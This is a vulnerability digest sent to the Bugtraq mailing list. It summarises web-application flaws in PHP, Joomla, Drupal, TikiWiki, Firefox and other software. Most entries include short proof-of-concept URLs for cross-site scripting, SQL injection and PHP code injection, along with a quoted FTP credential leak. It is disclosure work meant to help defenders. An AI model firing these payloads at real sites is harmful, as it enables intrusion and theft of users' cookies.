Vulnerabilities digest
Dear bugtraq@xxxxxxxxxxxxxxxxx,
Vulnerabilities reported by different Russian speaking authors to
http://securityvulns.ru
1. Elekt(Antichat.ru) reports protection bypass vulnerability in PHP 4
and 5.
disable_functions feature can be bypassed by using functions alias. A
list of aliases is given in http://php.net/aliases/. For example,
ini_alter() may be used instead of ini_set() and vice versa.
SecurityVulns issue: http://securityvulns.com/news/PHP/alias-pb.html
Original message (in Russian): http://securityvulns.ru/Sdocument67.html
2. MustLive reports Crossite-Cripting vulnerability in WordPress
MultiUser 1.0
XSS is possible via Username form field.
Additional information (in Ukranian): http://websecurity.com.ua/1269/
Original message (in Russian): http://securityvulns.ru/Rdocument875.html
3. durito [NGH Group] reports multiple SQL injections in ActiveKB 1.5
Example:
http://www.example.com/activekb/index.php?ToDo=browse&catId=[SQL]
http://www.example.com/activekb/admin/index.php?ToDo=hideQuestion&questId=[SQL]
Original message (in Russian): http://securityvulns.ru/Rdocument901.html
4. MustLive reports Cross-Site Scripting vulnerability in Joomla! <= 1.0.13
An example of vulnerability is
http://site/index.php?option=com_search&searchword=';alert('XSS')//
Additional information (in Ukranian): http://websecurity.com.ua/1203/
Original message (in Russian): http://securityvulns.ru/Rdocument919.html
5. durito [NGH Group] reports crossite-scripting vulnerability in
ActiveKB NX 2.5.4
Example: http://www.example.com/activekb/ActiveKB/?page=[XXS]
Original message (in Russian): http://securityvulns.ru/Rdocument956.html
6. "noname indexed" reports vulnerability in UMI CMS (http://uni-cms.ru)
Vulnerability example:
http://example.com/search/search_do/?search_string=%22%20onmouseover=%22javacript:alert();
Original message (in Russian): http://securityvulns.ru/Rdocument957.html
7. MustLive reports cross-site scripting vulnerability in Nucleus.
Example:
http://site/index.php?blogid=1&archive=2007-01-01%3Cscript%3Ealert(document.cookie)%3C/script%3E
Additional information (in Ukranian): http://websecurity.com.ua/1347/
Original message (in Russian): http://securityvulns.ru/Sdocument3.html
8. durito [NGH Group] reports
8.1 multiple SQL injections in Stride v1.0 Content Management System,
Merchant, Courses. Examples:
Content Management System
http://www.example.com/main.php?p=[SQL]
Merchant
http://www.example.com/shop.php?cmd=sto&id=[SQL]
Courses
http://www.example.com/detail.php?course=[SQL]
http://www.example.com/detail.php?provider=[SQL]
8.2 Information leak (FTP access account) with MyFTPUploader within
same applications. Example:
http://www.example.com/include/imageupload.js
contains
document.writeln('<param name="uploadDirectory"
value="/public_html/dbimages/process">');
document.writeln('<param name="successURL"
value="admin_imagemulti.php?action=process">');
document.writeln('<param name="host" value="www.target.com">');
document.writeln('<param name="userName" value="target">');
document.writeln('<param name="password" value="target">');
8.3 Default administrator's password for same applications.
Original message (in Russian): http://securityvulns.ru/Sdocument4.html
9. MustLive reports multiple crossite scripting vulnerabilities in
Site-Up <= 2.64
Via "search" and "search mask" fields of http://site/siteuprus/index.cgi:
Additional information (in Ukranian): http://websecurity.com.ua/1210/
Original message: (in Russian): http://securityvulns.ru/Sdocument12.html
10. MustLive reports crossite scripting in Google Search Appliance.
Example:
http://site/search?ie=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&site=x&output=xml_no_dtd'&client=x&proxystylesheet=x'
Additional information (in Ukranian): http://websecurity.com.ua/1368/
Original message (in Russian): http://securityvulns.ru/Sdocument32.html
10. MustLive reports crossite scripting in PRO-search
Example: http://site/?q=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Additional information (in Ukranian): http://websecurity.com.ua/1224/
Original message (in Russian): http://securityvulns.ru/Sdocument68.html
10. MustLive reports multiple vulnerabilities in Urchin Web Analytics
5.7.03.
In addition to re-discovered XSS vulnerability, there is also
authentication bypass (access without username/password).
Example:
http://site:10000/report.cgi?profile=x&rid=42&prefs=x&n=10&vid=1301&bd=20070703&ed=20070703&dt=4>ype=5
Additional information (in Ukranian): http://websecurity.com.ua/1283/
Original message: (in Russian): http://securityvulns.ru/Sdocument90.html
11. MustLive reports crossite scripting vulnerability in Mozilla Firefox
<= 2.0 with gopher: protocol URL if UTF-7 if page content is displayed as
UTF-7. Examples:
For Firefox before 2.0:
gopher:///1+ADw-SCRIPT+AD4-alert('XSS')+ADw-/SCRIPT+AD4-
gopher:///1Turn%20on%20UTF-7%20to%20view%20this%20message%20+ADw-SCRIPT+AD4-alert('XSS')+ADw-/SCRIPT+AD4-
For Firefox 2.0:
gopher:///1+ADw-SCRIPT+AD4-alert(/XSS/)+ADw-/SCRIPT+AD4-
gopher:///1Turn%20on%20UTF-7%20to%20view%20this%20message%20+ADw-SCRIPT+AD4-alert(/XSS/)+ADw-/SCRIPT+AD4-
According to author, it's possible to execute script in both local zone
and context of gopher site.
12. ShAnKaR reports PHP Zend Hash vulnerability exploitation vector
with Drupal <= 5.2.
Example:
http://www.example.com/drupal/?_menu[callbacks][1][callback]=drupal_eval&_menu[items][][type]=-1&-312030023=1&q=1/<?phpinfo();
Original message (in Russian): http://securityvulns.ru/Sdocument137.html
13. ShAnKaR reports PHP injection vulnerability in TikiWiki 1.9.8.
Example:
http://www.example.com/tikiwiki/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=
Original message (in Russian):
http://securityvulns.ru/Sdocument162.html
Also, multiple vulnerabilities were reported in English by
:: iNs @ uNkn0wn.eu :: http://securityvulns.com/source26994.html
and
r0t: http://securityvulns.com/source12948.html
--
http://securityvulns.com/
/\_/\
{ , . } |\
+--oQQo->{ ^ }<-----+ \
| ZARAZA U 3APA3A } You know my name - look up my number (The Beatles)
+-------------o66o--+ /
|/